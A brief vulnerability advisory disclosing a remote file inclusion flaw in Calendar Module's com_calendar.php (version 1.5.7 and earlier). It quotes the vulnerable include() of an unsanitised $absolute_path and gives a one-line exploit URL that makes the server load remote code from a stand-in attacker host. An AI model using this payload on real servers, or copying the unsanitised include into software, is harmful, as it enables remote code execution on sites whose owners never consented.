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Calendar Module <= 1.5.7 Remote File Include Vulnerabilities
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Author : Matdhule
Contact : matdhule@xxxxxxxxx
Application : Calendar Module (com_calendar.php)
Version : 1.5.7
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Vulnerability:
In folder components we found vulnerability script com_calendar.php.
-----------------------com_calendar.php---------------------------------
<?php
//Configuration
include($absolute_path.'/components/calendar/cal_config.php');
if (!file_exists("language/calendar/".$lang."_calendar.php") ) {
die("Invalid Language");
} else {
include($absolute_path.'/language/calendar/'.$lang.'_calendar.php');
}
-------------------------------------------------------------------------
Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
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Exploit :
http://[target]/[path]/components/com_calendar.php?absolute_path=http://attacker.com/evil.txt?
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